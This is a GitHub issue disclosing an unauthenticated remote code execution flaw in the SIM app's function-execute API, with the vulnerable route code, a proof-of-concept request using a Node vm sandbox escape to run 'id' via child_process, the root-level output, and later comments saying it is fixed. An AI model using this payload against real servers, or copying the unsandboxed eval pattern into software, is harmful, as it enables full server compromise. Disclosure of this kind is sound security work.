sim icon indicating copy to clipboard operation
sim copied to clipboard

[BUG] RCE (unauthenticated)

Open NinjaGPT opened this issue 4 months ago • 1 comments

RCE (unauthenticated)


Summary

The RCE vulnerability was discovered on /api/function/execute in latest version of SIM. The functionality has user-controllable parameter without any blacklist/whitelist filtering or special character escaping security measures, allowing attackers to execute arbitrary javascript code.

Details

  • apps\sim\app\api\function\execute\route.ts
export async function POST(req: NextRequest) {
  const requestId = crypto.randomUUID().slice(0, 8)
  const startTime = Date.now()
  
  try {
    const body = await req.json()
    const { code, params = {}, timeout = 5000 } = body

    logger.info(`[${requestId}] Function execution request`, {
      hasCode: !!code,
      paramsCount: Object.keys(params).length,
      timeout
    })

  
    const context = createContext({
      params: params,
      fetch: globalThis.fetch || require('node-fetch').default,
      console: {
        log: (...args: any[]) => {
        }
      }
    })

    const script = new Script(`
      (async () => {
        try {
          ${code}
        } catch (error) {
          console.error(error);
          throw error;
        }
      })()
    `, { filename: 'user-function.js' })

    // sink
    const result = await script.runInContext(context, {
      timeout,
      displayErrors: true
    })

    return NextResponse.json({
      success: true,
      output: {
        result,
        executionTime: Date.now() - startTime
      }
    })
  } catch (error) {
    return NextResponse.json({ success: false, error: error.message }, { status: 500 })
  }
}

POC

  • Request
POST /api/function/execute HTTP/1.1
Host: localhost:3000
Content-Length: 197
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/workspace/b5ee1640-82f8-4559-a253-6152dc9e1334/w/c0a7c749-a96a-42b7-a62f-5c2fa65cc6af
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Connection: close

{
  "code": "const proc = this.constructor.constructor('return process')(); const { execSync } = proc.mainModule.require('child_process'); return execSync('id').toString();",
  "timeout": 5000
}
  • Response
{"success":true,"output":{"result":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n","stdout":"","executionTime":10}}
image

NinjaGPT avatar Aug 14 '25 04:08 NinjaGPT

From looking at the code I believe this has been handled. At least, more logic has been added that explicitly whitelists and adds protection to that already offered by Docker sandboxxing. Vulnerabilities may still exist and I am going to test more, but I wanted to flag that this is still open despite a much more robust security logic being in place.

Shabbyshambles avatar Aug 22 '25 20:08 Shabbyshambles

resolved, as mentioned in the comment above

waleedlatif1 avatar Sep 19 '25 05:09 waleedlatif1